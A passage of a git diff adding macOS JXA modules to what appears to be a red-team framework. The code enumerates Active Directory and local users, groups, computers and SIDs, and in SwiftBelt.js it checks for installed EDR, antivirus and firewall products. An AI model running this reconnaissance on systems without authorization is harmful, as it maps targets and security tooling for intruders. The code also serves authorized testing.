node_list[nodetype], null); + //console.log("about to print subnode names\n"); + //console.log(ObjC.deepUnwrap($.ODNodeCopySubnodeNames(node, $()))); + //console.log("about to print supported attributes\n"); + //console.log(JSON.stringify([ObjC.deepUnwrap($.ODNodeCopySupportedAttributes(node, object_class[objectclass], $()))], null, 2)); + //https://developer.apple.com/documentation/opendirectory/odquery/1391709-querywithnode?language=objc + //console.log("about to print supported record types\n"); + //console.log(JSON.stringify([ObjC.deepUnwrap($.ODNodeCopySupportedRecordTypes(node, $()))], null, 2)); + query = $.ODQuery.queryWithNodeForRecordTypesAttributeMatchTypeQueryValuesReturnAttributesMaximumResultsError( + node, + object_class[objectclass], //(objectclass) https://developer.apple.com/documentation/opendirectory/opendirectory_functions/record_types?language=objc + query_attributes, //set to recordname that we're looking to match + match_type[match], //( equals, beginsWith, contains, etc) https://developer.apple.com/documentation/opendirectory/opendirectory_functions/match_types?language=objc + value, // input query (like admin) + fixed_return_attributes, + max_results, //maximum number of results, 0=all + $()); //error + var results = query.resultsAllowingPartialError(false, null); + //results; + //console.log(results); + var output = {}; + output[objectclass] = {}; + for(var i = 0; i < results.count; i++){ + var error = Ref(); + var attributes = results.objectAtIndex(i).recordDetailsForAttributesError($(),error); + var keys = attributes.allKeys; + output[objectclass][i] = {}; + for(var j = 0; j < keys.count; j++){ + var key = ObjC.unwrap(keys.objectAtIndex(j)); + var array = attributes.valueForKey(keys.objectAtIndex(j)); + var array_length = parseInt($.CFArrayGetCount(array)); + var val = []; + for(var k = 0; k < array_length; k++){ + if(!array.objectAtIndex(k).isKindOfClass($.NSString.class)){ + //console.log(array.objectAtIndex(k).base64EncodedStringWithOptions(null).js); + val.push(array.objectAtIndex(k).base64EncodedStringWithOptions(null).js); + }else{ + //console.log(array.objectAtIndex(k)); + val.push(array.objectAtIndex(k).js); + } + } + //var val = ObjC.deepUnwrap(attributes.valueForKey(keys.objectAtIndex(j))); + output[objectclass][i][key] = val; + } + } + return output; +} +function Get_OD_Node_Configuration({node="all"} = {}){ + let session = $.ODSession.defaultSession; + let names = session.nodeNamesAndReturnError($()); + //console.log(names); + names = ObjC.deepUnwrap(names); + let configuration = {}; + for(let i in names){ + //console.log(names[i]); + let config = session.configurationForNodename(names[i]); + configuration[names[i]] = {}; + if(config.nodeName.js !== undefined){ + configuration[names[i]]['nodeName'] = config.nodeName.js; + } + configuration[names[i]]['trustAccount'] = ObjC.deepUnwrap(config.trustAccount); + configuration[names[i]]['trustKerberosPrincipal'] = ObjC.deepUnwrap(config.trustKerberosPrincipal); + configuration[names[i]]['trustMetaAccount'] = ObjC.deepUnwrap(config.trustMetaAccount); + configuration[names[i]]['trustType'] = ObjC.deepUnwrap(config.trustType); + configuration[names[i]]['trustUsesKerberosKeytab'] = config.trustUsesKerberosKeytab; + configuration[names[i]]['trustUsesMutualAuthentication'] = ObjC.deepUnwrap(config.trustUsesMutualAuthentication); + configuration[names[i]]['trustUsesSystemKeychain'] = ObjC.deepUnwrap(config.trustUsesSystemKeychain); + if(config.defaultModuleEntries !== undefined){ + configuration[names[i]]['defaultMappings'] = ObjC.deepUnwrap(config.defaultModuleEntries); + } + if(config.authenticationModuleEntries !== undefined){ + configuration[names[i]]['authenticationModuleEntries'] = config.authenticationModuleEntries; + } + configuration[names[i]]['virtualSubnodes'] = ObjC.deepUnwrap(config.virtualSubnodes); + configuration[names[i]]['templateName'] = ObjC.deepUnwrap(config.templateName); + configuration[names[i]]['preferredDestinationHostName'] = ObjC.deepUnwrap(config.preferredDestinationHostName); + configuration[names[i]]['preferredDestinationHostPort'] = ObjC.deepUnwrap(config.preferredDestinationHostPort); + if(config.discoveryModuleEntries !== undefined){ + configuration[names[i]]['discoveryModuleEntries'] = ObjC.deepUnwrap(config.discoveryModuleEntries); + } + } + //node = $.ODNode.nodeWithSessionTypeError(session, $.kODNodeTypeLocalNodes, null); + node = $.ODNode.nodeWithSessionTypeError(session, 0x2200, null); + //var policies = $.ODNodeCopyAccountPolicies(node, $()); + let policies = node.accountPoliciesAndReturnError($()); + if(policies.js !== undefined){ + configuration['Local_policies'] = ObjC.deepUnwrap(policies); + } + //node = $.ODNode.nodeWithSessionTypeError(session, $.kODNodeTypeNetwork, null); + node = $.ODNode.nodeWithSessionTypeError(session, 0x2205, null); + //var policies = $.ODNodeCopyAccountPolicies(node, $()); + policies = node.accountPoliciesAndReturnError($()); + if(policies.js !== undefined){ + configuration['Network_policies'] = ObjC.deepUnwrap(policies); + } + return JSON.stringify(configuration, null, 2); +} +// main functions +function ConvertTo_SID({API=true, object=".\\root", type="Users",help=false} = {}){ + //goes from "Domain\User" or "Domain\Group" or "Domain\Computer" to SID + //type should be: Users, Groups, or Computers + if(help){ + var output = ""; + output += "\\nConvert Users, Groups, Or Computers to domain or local SIDs."; + output += "\\n\"object\" should be either \".\\\\localthing\" or \"NETBIOSDOMAIN\\\\thing\""; + output += "\\n\"type\" should be \"Users\", \"Groups\", or \"Computers\""; + output += "\\ncalled: ConvertTo_SID({object:\".\\\\root\",type:\"Users\"});"; + return output; + } + command = ""; + splitObject = object.split('\\'); + if (splitObject.length != 2) + { + return "Invalid format for the object. Should be DOMAIN\\object\n"; + } + if (API == true) { + //Use ObjC calls + if(object.includes(".")){ + //we need to do a local query instead + var fixed_query = object.split("\\").slice(1); + var query = Get_OD_ObjectClass({objectclass:type, max_results:1, value:fixed_query, match:"EqualTo", query_attributes:"RecordName", return_attributes:["SMBSID"], nodetype:"local"}); + }else{ + var query = Get_OD_ObjectClass({objectclass:type, max_results:1, value:object, match:"EqualTo", query_attributes:"RecordName", return_attributes:["SMBSID"]}); + } + try{ + var sid = query[type][0]["dsAttrTypeStandard:SMBSID"][0]; + return sid; + }catch(err){ + return "No such object"; + } + } + else{ + //use command-line functionality + if (splitObject[0] == ".") + { //do a local query + command = "dscl . read \"/" + type + "/" + splitObject[1] + "\" SMBSID"; + } + else{ + command = "dscl \"/Active Directory/" + splitObject[0] + + "/All Domains\" read \"/" + type + "/" + splitObject[1] + "\" SMBSID"; + } + //output will either have SMBSID: S-1-5... or No Such Key: SMBSID if user exists + try{ + output = currApp.doShellScript(command); + if (output.indexOf("SMBSID: S-") != -1) + return output.split(" ")[1].trim(); + else + return "No such key"; + } + catch(err){ + // DS Error: -14136 (eDSRecordNotFound) if object doesn't exist + return err.toString(); + } + } +} +function ConvertFrom_SID({API=true, sid="S-1-5-21-3278496235-3004902057-1244587532-512", type="Users",help=false} = {}){ + //goes from S-1-5-21-... to "Domain\User", "Domain\Group", or "Domain\Computer" + if(help){ + var output = ""; + output += "\\nConvert Users, Groups, or Computers from SIDs to names"; + output += "\\n\"sid\" should be a full SID value in quotes for either a User, Group, or Computer. No other type is currently supported."; + output += "\\n\"type\" should be \"Users\",\"Groups\", or \"Computers\""; + output += "\\ncalled: ConvertFrom_SID({sid:\"S-1-5-21-3278496235-3004902057-1244587532-512\",type:\"Users\"})"; + return output; + } + command = ""; + domain = Get_CurrentNETBIOSDomain(API); + if (!domain){ + return "Failed to get domain."; + } + if (API == true){ + var query = Get_OD_ObjectClass({objectclass:type, max_results:1, value:sid, match:"EqualTo", query_attributes:"SMBSID", return_attributes:["RecordName"]}); + try{ + var name = query[type][0]["dsAttrTypeStandard:RecordName"][0]; + return name; + }catch(err){ + return "No such object"; + } + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\"" + + " search /" + type + " SMBSID " + sid; + try{ + output = currApp.doShellScript(command); + //example output: + //root SMBSID = ( + //"S-1-5-18" + //) + //check to make sure we actually got a result + if (output){ + user = output.split("\n")[0].split("\t")[0].trim(); + return user; + } + return "Command executed returned no output: " + command; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainUser({API=true, user, attribute, requested_domain,limit=0, help=false} = {}){ + //returns all users or specific user objects in AD + //can specify different properties they want returned + if(help){ + var output = ""; + output += "\\nList all domain users or get information on a specific user. If no user is specified, list all users."; + output += "\\n\"user\" should be a domain name."; + output += "\\n\"attribute\" should be a comma separated list of attributes to select from the returned user. This only works in conjunction with a specific user, not when listing out all users."; + output += "\\n\"requested_domain\" should be the NETBIOS domain name to query. Most often this will be left blank and auto filled by the function."; + output += "\\ncalled: Get_DomainUser() <--- list out all domain users"; + output += "\\ncalled: Get_DomainUser({user:\"bob\",attribute:\"name, SMBSID\"});"; + output += "\\nNote: cannot currently query outside of the current forest"; + return output; + } + if (API == true){ + if(user){ + if(attribute){ + var query = Get_OD_ObjectClass({value:user, match:"Contains", query_attributes:"recordname", return_attributes:attribute.split(", "), max_results:limit}); + }else{ + var query = Get_OD_ObjectClass({value:user, match:"Contains", query_attributes:"recordname", max_results:limit}); + } + return JSON.stringify(query, null, 2); + } + if(attribute){ + var query = Get_OD_ObjectClass({return_attributes:attribute.split(", "), max_results:limit}); + return JSON.stringify(query, null, 2); + } + return JSON.stringify(Get_OD_ObjectClass({max_results:limit}), null, 2); + } + else{ + domain = requested_domain ? requested_domain : Get_CurrentNETBIOSDomain(API); + if(user){ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" read /Users/" + user; + if(attribute){ + command += " " + attribute; + } + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" ls /Users"; + if(attribute){ + command += " " + attribute; + } + } + try{ + //console.log(command); + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainUserViaAttribute({API=true, value, attribute, return_attributes_list=[null],limit=0, help=false} = {}){ + if(help){ + return "Queries Users for the `attribute` which contains `value` and returns all matching object's attributes specified in `return_attributes_list`." + } + if (API == true){ + let query = Get_OD_ObjectClass({value:value, match:"Contains", query_attributes:attribute, max_results:limit, return_attributes:return_attributes_list}); + return JSON.stringify(query, null, 2); + } else{ + return "Only API supported"; + } +} +function Get_LocalUser({API=true, user, attribute, limit=0, help=false} = {}){ + //returns all users or specific user objects in AD + //can specify different properties they want returned + if(help){ + var output = ""; + output += "\\nList all local users or get information on a specific user. If no user is specified, list all users."; + output += "\\n\"user\" should be a local user's name."; + output += "\\n\"attributes\" should be a comma separated list of attributes to select from the returned user. This only works in conjunction with a specific user, not when listing out all users."; + output += "\\ncalled: Get_LocalUser() <--- list out all local users"; + output += "\\ncalled: Get_LocalUser({user:\"bob\",attribute:\"name, SMBSID\"});"; + return output; + } + if (API == true){ + if(user){ + if(attribute){ + var query = Get_OD_ObjectClass({value:user, match:"Contains", query_attributes:"recordname", return_attributes:attribute.split(","), max_results:limit, nodetype:"local"}); + }else{ + var query = Get_OD_ObjectClass({value:user, match:"Contains", query_attributes:"recordname", max_results:limit, nodetype:"local"}); + } + return JSON.stringify(query, null, 2); + } + if(attribute){ + var query = Get_OD_ObjectClass({return_attributes:attribute.split(","), max_results:limit, nodetype:"local"}); + return JSON.stringify(query, null, 2); + } + return JSON.stringify(Get_OD_ObjectClass({max_results:limit, nodetype:"local"}), null, 2); + } + else{ + if(user){ + command = "dscl . read /Users/" + user; + if(attribute){ + command += " " + attribute; + } + } + else{ + command = "dscl . ls /Users"; + if(attribute){ + command += " " + attribute; + } + } + try{ + //console.log(command); + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainComputer({API=true, computer, attribute, limit=0, requested_domain,help=false} = {}){ + //returns all computers or specific computer objects in AD + if(help){ + var output = ""; + output += "\\nList all domain computers or get information on a specific computer. If no computer is specified, list all computer."; + output += "\\n\"computer\" should be a domain computer name."; + output += "\\n\"attributes\" should be a comma separated list of attributes to select from the returned computer. This only works in conjunction with a specific computer, not when listing out all computers."; + output += "\\n\"requested_domain\" should be the NETBIOS domain name to query. Most often this will be left blank and auto filled by the function."; + output += "\\ncalled: Get_DomainComputer() <--- list out all domain computers"; + output += "\\ncalled: Get_DomainComputer({computer:\"testmac$\",attribute:\"name\"});"; + return output; + } + if (API == true){ + if(computer){ + if(attribute){ + var query = Get_OD_ObjectClass({objectclass:"Computers", value:computer, match:"Contains", query_attributes:"recordname", return_attributes:attribute.split(","), max_results:limit}); + }else{ + var query = Get_OD_ObjectClass({objectclass:"Computers", value:computer, match:"Contains", query_attributes:"recordname", max_results:limit}); + } + return JSON.stringify(query, null, 2); + } + if(attribute){ + var query = Get_OD_ObjectClass({objectclass:"Computers", return_attributes:attribute.split(","), max_results:limit}); + return JSON.stringify(query, null, 2); + } + return JSON.stringify(Get_OD_ObjectClass({objectclass:"Computers", max_results:limit}), null, 2); + } + else{ + domain = requested_domain ? requested_domain : Get_CurrentNETBIOSDomain(API); + if(computer){ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" read \"/Computers/" + computer + "\""; + if(attribute){ + command += " " + attribute; + } + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" ls /Computers"; + if(attribute){ + command += " " + attribute; + } + } + try{ + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainComputerViaAttribute({API=true, value, attribute, limit=0, return_attributes_list=[null],help=false} = {}){ + //returns all computers or specific computer objects in AD + if(help){ + return "Queries Computers for the `attribute` which contains `value` and returns all matching object's attributes specified in `return_attributes_list`." + } + if (API == true){ + let query = Get_OD_ObjectClass({objectclass:"Computers", value:value, match:"Contains", query_attributes:attribute, max_results:limit, return_attributes:return_attributes_list}); + return JSON.stringify(query, null, 2); + } else{ + return "Only API supported"; + } + +} +function Get_LDAPSearch({API=false, currDomain, remoteDomain, numResults=0, query="", attribute,help=false} = {}){ + if(help){ + var output = ""; + output += "\\nExecute a customized LDAP search query"; + output += "\\n\"currDomain\" should be the domain to query. Ex: in ldap://currDomain."; + output += "\\n\"remoteDomain\" should be the search base, typically the same as the currDomain, so it can be left out."; + output += "\\n\"numResults\" specifies how many results to return where 0 indicates all results."; + output += "\\n\"query\" is the LDAP query."; + output += "\\n\"attributes\" is a comma separated list of attributes to selet from the query results."; + output += "\\ncalled: Get_LDAPSearch({query=\"(objectclass=user)\"})"; + return output; + } + if(API == true){ + return "API method not implemented yet"; + } + else{ + domain = currDomain ? currDomain : Get_CurrentDomain(API); + adjust = remoteDomain ? remoteDomain.split(".") : domain.split("."); + rdomain = ""; + for(var i = 0; i < adjust.length; i++){ + rdomain += "DC=" + adjust[i]; + if(i+1 < adjust.length){ + rdomain += "," + } + } + command = "ldapsearch -H ldap://" + domain + " -b " + rdomain + " -z " + numResults + " \"" + query + "\" "; + if(attribute){ + command += attribute; + } + //console.log(command); + try{ + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainOU({API=false, OU, attribute, requested_domain,help=false} = {}){ + //search for all OUs or specific OU objects in AD + if(help){ + var output = ""; + output += "\\nList all domain OUs or get information on a specific OU. If no OU is specified, list all OUs."; + output += "\\n\"OU\" should be a domain OU name."; + output += "\\n\"attributes\" should be a comma separated list of attributes to select from the returned OU. This only works in conjunction with a specific OU, not when listing out all OUs."; + output += "\\n\"requested_domain\" should be the NETBIOS domain name to query. Most often this will be left blank and auto filled by the function."; + output += "\\ncalled: Get_DomainOU() <--- list out all domain computers"; + output += "\\ncalled: Get_DomainOU({OU:\"Domain Controllers\"});"; + return output; + } + if (API == true){ + return "API method not implemented yet"; + } + else{ + domain = requested_domain ? requested_domain : Get_CurrentNETBIOSDomain(API); + if(OU){ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" read \"/OrganizationalUnit/" + OU + "\""; + if(attribute){ + command += " " + attribute; + } + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" ls /OrganizationalUnit"; + if(attribute){ + command += " " + attribute; + } + } + try{ + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainSID({API=true,help=false} = {}){ + //returns SID for current domain or specified domain + if(help){ + var output = ""; + output += "\\nGets the SID of the domain by truncating the SID for the \"Domain Admins\" group."; + output += "\\ncalled: Get_DomainSID()"; + return output; + } + if(API == true){ + var domain = Get_CurrentNETBIOSDomain(API); + var search_value = domain + "\\Domain Computers"; + var domain_computers = Get_OD_ObjectClass({objectclass:"Groups", max_results:1, value:search_value, match:"Contains", query_attributes:"RecordName", return_attributes:["SMBSID"]}); + var sid = domain_computers["Groups"][0]["dsAttrTypeStandard:SMBSID"][0]; + var sid_array = sid.split("-"); + return sid_array.slice(0, sid_array.length-1).join("-"); + } + else{ + command = "dsmemberutil getsid -G \"Domain Admins\""; + try{ + output = currApp.doShellScript(command); + return output.slice(0,-4); //take off the last -512 on the SID that's specific to Domain Admins group + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainGroup({API=true, group, attribute, requested_domain,help=false,verbose=false, limit=0} = {}){ + //returns all groups or specific groups in an AD + if(help){ + var output = ""; + output += "\\nList all domain groups or get information on a specific group. If no group is specified, list all groups."; + output += "\\n\"group\" should be a domain group name."; + output += "\\n\"attributes\" should be a comma separated list of attributes to select from the returned group. This only works in conjunction with a specific group, not when listing out all group."; + output += "\\n\"requested_domain\" should be the NETBIOS domain name to query. Most often this will be left blank and auto filled by the function."; + output += "\\ncalled: Get_DomainGroup() <--- list out all domain groups"; + output += "\\ncalled: Get_DomainGroup({group:\"Domain Admins\",attribute:\"GroupMembership\"});"; + return output; + } + if(API == true){ + if(group){ + if(attribute){ + var query = Get_OD_ObjectClass({objectclass:"Groups", value:group, match:"Contains", query_attributes:"recordname", return_attributes:attribute.split(","), max_results:limit}); + }else{ + var query = Get_OD_ObjectClass({objectclass:"Groups", value:group, match:"Contains", query_attributes:"recordname", max_results:limit}); + } + return JSON.stringify(query, null, 2); + } + if(attribute){ + var query = Get_OD_ObjectClass({objectclass:"Groups", return_attributes:attribute.split(","), max_results:limit}); + return JSON.stringify(query, null, 2); + } + return JSON.stringify(Get_OD_ObjectClass({objectclass:"Groups", max_results:limit}), null, 2); + } + else{ + domain = requested_domain ? requested_domain : Get_CurrentNETBIOSDomain(API); + if(group){ + if(verbose){ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" read \"/Groups/" + group + "\""; + if(attribute){ + command += " " + attribute; + } + }else{ + command = "dscacheutil -q group -a name \"" + group + "\""; + } + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" ls /Groups"; + if(attribute){ + command += " " + attribute; + } + } + try{ + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_LocalGroup({API=true, group, attribute,help=false, verbose=false, limit=0} = {}){ + //returns all groups or specific groups in an AD + if(help){ + var output = ""; + output += "\\nList all local groups or get information on a specific group. If no group is specified, list all groups."; + output += "\\n\"group\" should be a local group name."; + output += "\\n\"verbose\" get more verbose output with dscl instead of dscacheutil" + output += "\\n\"attributes\" should be a comma separated list of attributes to select from the returned group. This only works in conjunction with a specific group, not when listing out all groups, and only when verbose is true."; + output += "\\ncalled: Get_LocalGroup() <--- list out all domain groups"; + output += "\\ncalled: Get_LocalGroup({group:\"admin\",attributes:\"GroupMembership\"});"; + output += "\\ncalled: Get_LocalGroup({attribute:\"GroupMembership\", verbose:true}); <--- get a mapping of all groups and their GroupMembership"; + return output; + } + if(API == true){ + if(group){ + if(attribute){ + var query = Get_OD_ObjectClass({objectclass:"Groups", value:group, match:"Contains", query_attributes:"recordname", return_attributes:attribute.split(","), max_results:limit, nodetype:"local"}); + }else{ + var query = Get_OD_ObjectClass({objectclass:"Groups", value:group, match:"Contains", query_attributes:"recordname", max_results:limit, nodetype:"local"}); + } + return JSON.stringify(query, null, 2); + } + if(attribute){ + var query = Get_OD_ObjectClass({objectclass:"Groups", return_attributes:attribute.split(","), max_results:limit, nodetype:"local"}); + return JSON.stringify(query, null, 2); + } + return JSON.stringify(Get_OD_ObjectClass({objectclass:"Groups", max_results:limit, nodetype:"local"}), null, 2); + } + else{ + if(group){ + if(verbose){ + command = "dscl . read \"/Groups/" + group + "\""; + if(attribute){ + command += " " + attribute; + } + } + else{ + command = "dscacheutil -q group -a name " + group; + } + } + else{ + if(verbose){ + command = "dscl . ls /Groups"; + if(attribute){ + command += " " + attribute; + } + } + else{ + command = "dscacheutil -q group"; + } + } + try{ + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_DomainGroupMember({API=true, group="Domain Admins", domain,help=false, limit=0} = {}){ + if(help){ + var output = ""; + output += "\\nGet all the members of a specific domain group"; + output += "\\n\"group\" should be a specific domain group to query."; + output += "\\n\"domain\" is the NETBIOS domain name to query, but if not specified, the function will figure it out."; + output += "\\ncalled: Get_DomainGroupMember({group:\"Domain Admins\"});"; + return output; + } + //return members of a specific domain group + if(!domain){ + domain = Get_CurrentNETBIOSDomain(API); + } + if (API == true){ + return Get_DomainGroup({group:group, attribute:"distinguishedName,member,memberOf,nestedgroups,groupmembership", limit:limit}); + } + else{ + try{ + if(group){ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" read \"/Groups/" + group + "\" GroupMembership"; + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" ls /Groups GroupMembership"; + } + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Get_LocalGroupMember({API=true, group,help=false, limit=0} = {}){ + if(help){ + var output = ""; + output += "\\nGet all the members of a specific local group"; + output += "\\n\"group\" should be a specific local group to query."; + output += "\\ncalled: Get_LocalGroupMember({group:\"admin\"});"; + return output; + } + if (API == true){ + return Get_LocalGroup({group:group, attribute:"GroupMembership,nestedGroups,member,memberOf,nestedgroups",limit:limit}); + } + else{ + try{ + if(group){ + command = "dscl . read \"/Groups/" + group + "\" GroupMembership"; + } + else{ + command = "dscl . ls /Groups GroupMembership" + } + + output = currApp.doShellScript(command); + return output; + } + catch(err){ + return err.toString(); + } + } +} +function Search_LocalGroup({API=false, attribute="GroupMembership", value="", help=false} = {}){ + if(help){ + var output = ""; + output += "\\nSearch a specific group attribute for a specific value"; + output += "\\n\"attribute\" is a specific group attribute to search through, default is \"GroupMembership\""; + output += "\\n\"value\" is the value to search for"; + output += "\\ncalled: Search_LocalGroups({attribute:\"GroupMembership\", value:\"username\"});"; + return output; + } + if (API == true){ + return "API method not implemented yet"; + } + else{ + try{ + command = "dscl . -search /Groups " + attribute + " " + value; + output = currApp.doShellScript(command); + return output; + }catch(err){ + return err.toString(); + } + } +} +function Search_DomainGroup({API=false, attribute="GroupMembership", value="", help=false, domain} = {}){ + if(help){ + var output = ""; + output += "\\nSearch a specific group attribute for a specific value"; + output += "\\n\"attribute\" is a specific group attribute to search through, default is \"GroupMembership\""; + output += "\\n\"value\" is the value to search for"; + output += "\\ncalled: Search_DomainGroups({attribute:\"GroupMembership\", value:\"username\"});"; + return output; + } + if(!domain){ + domain = Get_CurrentNETBIOSDomain(API); + } + if (API == true){ + return "API method not implemented yet"; + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" -search /Groups " + attribute + " " + value; + try{ + output = currApp.doShellScript(command); + return output; + } + catch(error){ + return error.toString(); + } + } +} +function Search_LocalUser({API=false, attribute="UserShell", value="/bin/bash", help=false} = {}){ + if(help){ + var output = ""; + output += "\\nSearch local users attribute for a specific value"; + output += "\\n\"attribute\" is a specific user attribute to search through, default is \"UserShell\""; + output += "\\n\"value\" is the value to search for, default is \"/bin/bash\""; + output += "\\ncalled: Search_LocalUsers({attribute:\"UserShell\", value:\"/bin/bash\"});"; + return output; + } + if (API == true){ + return "API method not implemented yet"; + } + else{ + try{ + command = "dscl . -search /Users " + attribute + " " + value; + output = currApp.doShellScript(command); + return output; + }catch(err){ + return err.toString(); + } + } +} +function Search_DomainUser({API=false, attribute="", value="", help=false, domain} = {}){ + if(help){ + var output = ""; + output += "\\nSearch a specific group attribute for a specific value"; + output += "\\n\"attribute\" is a specific user attribute to search through, default is \"\""; + output += "\\n\"value\" is the value to search for"; + output += "\\ncalled: Search_DomainUsers({attribute:\"\", value:\"username\"});"; + return output; + } + if(!domain){ + domain = Get_CurrentNETBIOSDomain(API); + } + if (API == true){ + return "API method not implemented yet"; + } + else{ + command = "dscl \"/Active Directory/" + domain + "/All Domains\" -search /Users " + attribute + " " + value; + try{ + output = currApp.doShellScript(command); + return output; + } + catch(error){ + return error.toString(); + } + } +} +//////////////////////////////////////////////// +///////// HELPER FUNCTIONS ///////////////////// +//////////////////////////////////////////////// +function Get_CurrentDomain(API=true,help=false){ + if(help){ + var output = ""; + output += "\\nGet the fully qualified current domain"; + output += "\\ncalled: Get_CurrentDomain();"; + return output; + } + if(API == true){ + var config = Get_OD_Node_Configuration(); + var keys = Object.keys(config); + for(var i in keys){ + if(config[keys[i]]['nodeName'] != "Contacts" && config[keys[i]]['nodeName'] != "Search" && config[keys[i]]['nodeName']){ + return config[keys[i]]['trustKerberosPrincipal'].split("@")[1]; + } + } + return "No domain found"; + } + else{ + try{ + output = currApp.doShellScript("dsconfigad -show"); + //Active Directory Forest = forest.tld + //Active Directory Domain = domain.tld + //Computer Account = computer-name + //a bunch of others with (something = something) format + //Look into Advanced Options - Administrative + // preferred domain controller, allowed admin group + components = output.split("\r"); + domain = components[1].split("=")[1].trim(); + return domain; + } + catch(err){ + return err.toString(); + } + } +} +function Get_CurrentNETBIOSDomain(API=true,help=false){ + if(help){ + let output = ""; + output += "\\nGet the NETBIOS name of the current domain"; + output += "\\ncalled: Get_CurrentNETBIOSDomain();"; + return output; + } + if(API == true){ + let config = Get_OD_Node_Configuration(); + let keys = Object.keys(config); + for(let i in keys){ + if(config[keys[i]].hasOwnProperty('nodeName') && config[keys[i]]['nodeName'] != "Contacts" && config[keys[i]]['nodeName'] != "Search"){ + return config[keys[i]]['nodeName']; + } + } + return "No Domain Found"; + } + else{ + try{ + let output = currApp.doShellScript("echo show com.apple.opendirectoryd.ActiveDirectory | scutil"); + //{ + //DomainForestName : test.local + //DomainGuid : 01FDCACC-C89D-45B8-8829-3BAB54490F6C + //DomainNameDns : test.local + //DomainNameFlat : TEST + //MachineRole : 3 + //NodeName: /Active Directory/TEST + //TrustAccount : testmac$ + //} + components = output.split("\r"); + domain = components[4].split(":")[1].trim(); + return domain; + } + catch(err){ + return err.toString(); + } + } +} +function Get_Forest(API=false,help=false){ + if(help){ + var output = ""; + output += "\\nGet the fully qualified forest name"; + output += "\\ncalled: Get_Forest();"; + return output; + } + if(API == true){ + return "API method not implemented yet"; + } + else{ + try{ + output = currApp.doShellScript("dsconfigad -show"); + //Active Directory Forest = forest.tld + //Active Directory Domain = domain.tld + //Computer Account = computer-name + //a bunch of others with (something = something) format + //Look into Advanced Options - Administrative + // preferred domain controller, allowed admin group + components = output.split("\r"); + forest = components[0].split("=")[1].trim(); + return forest; + } + catch(err){ + return err.toString(); + } + } +} diff --git a/resources/modules/SwiftBelt.js b/resources/modules/SwiftBelt.js new file mode 100644 index 00000000..717a94db --- /dev/null +++ b/resources/modules/SwiftBelt.js @@ -0,0 +1,351 @@ +function SwiftBelt () { +ObjC.import('Cocoa'); +ObjC.import('Foundation'); +ObjC.import('stdlib'); +ObjC.import('OSAKit'); +ObjC.import('OpenDirectory'); +ObjC.import('sqlite3'); +ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]); +var currentApp = Application.currentApplication(); +currentApp.includeStandardAdditions = true; +var fileMan = $.NSFileManager.defaultManager; +var results = ""; + +//-----------SecCheck----------------- +var runapps = $.NSWorkspace.sharedWorkspace.runningApplications.js; +var applist = []; +for(let i = 0; i < runapps.length; i++){ + let info = {}; + info['name'] = runapps[i].localizedName.js; + applist.push(info['name']); + +} + +var allapps = applist.toString(); +var b = 0; +results += "#######################################\n"; +results += "=====>Security Tools Check:\n"; +if ((allapps.includes("CbOsxSensorService")) || (fileMan.fileExistsAtPath("/Applications/CarbonBlack/CbOsxSensorService"))){ + results += "[+] Carbon Black Sensor installed.\n"; + b = 1; +} + +if ((allapps.includes("CbDefense")) || (fileMan.fileExistsAtPath("/Applications/Confer.app"))){ + results += "[+] CB Defense A/V installed.\n"; + b = 1; +} + +if ((allapps.includes("ESET")) || (allapps.includes("eset")) || (fileMan.fileExistsAtPath("Library/Application Support/com.eset.remoteadministrator.agent"))){ + results += "[+] ESET A/V installed.\n"; + b = 1; +} + +if ((allapps.includes("Littlesnitch")) || (allapps.includes("Snitch")) || (fileMan.fileExistsAtPath("/Library/Little Snitch/"))){ + results += "[+] Littlesnitch firewall found.\n"; + b = 1; +} + +if ((allapps.includes("xagt")) || (fileMan.fileExistsAtPath("/Library/FireEye/xagt"))){ + results += "[+] FireEye HX agent found.\n"; + b = 1; +} + +if ((allapps.includes("falconctl")) || (fileMan.fileExistsAtPath("/Library/CS/falcond"))){ + results += "[+] Crowdstrike Falcon agent found.\n"; + b = 1; +} + +if ((allapps.includes("OpenDNS")) || (allapps.includes("opendns")) || (fileMan.fileExistsAtPath("/Library/Application Support/OpenDNS Roaming Client/dns-updater"))){ + results += "[+] OpenDNS client found.\n"; + b = 1; +} + +if ((allapps.includes("SentinelOne")) || (allapps.includes("sentinelone"))){ + results += "[+] Sentinel One agent found.\n"; + b = 1; +} + +if ((allapps.includes("GlobalProtect")) || (allapps.includes("PanGPS")) || (fileMan.fileExistsAtPath("/Library/Logs/PaloAltoNetworks/GlobalProtect")) || (fileMan.fileExistsAtPath("/Library/PaloAltoNetworks"))){ + results += "[+] Global Protect PAN VPN client found.\n"; + b = 1; +} + +if ((allapps.includes("HostChecker")) || (allapps.includes("pulsesecure")) || (fileMan.fileExistsAtPath("/Applications/Pulse Secure.app")) || (allapps.includes("Pulse-Secure"))){ + results += "[+] Pulse VPN client found.\n"; + b = 1; +} + +if ((allapps.includes("AMP-for-Endpoints")) || (fileMan.fileExistsAtPath("/opt/cisco/amp"))){ + results += "[+] Cisco AMP for endpoints found.\n"; + b = 1; +} + +if ((fileMan.fileExistsAtPath("/usr/local/bin/jamf")) || 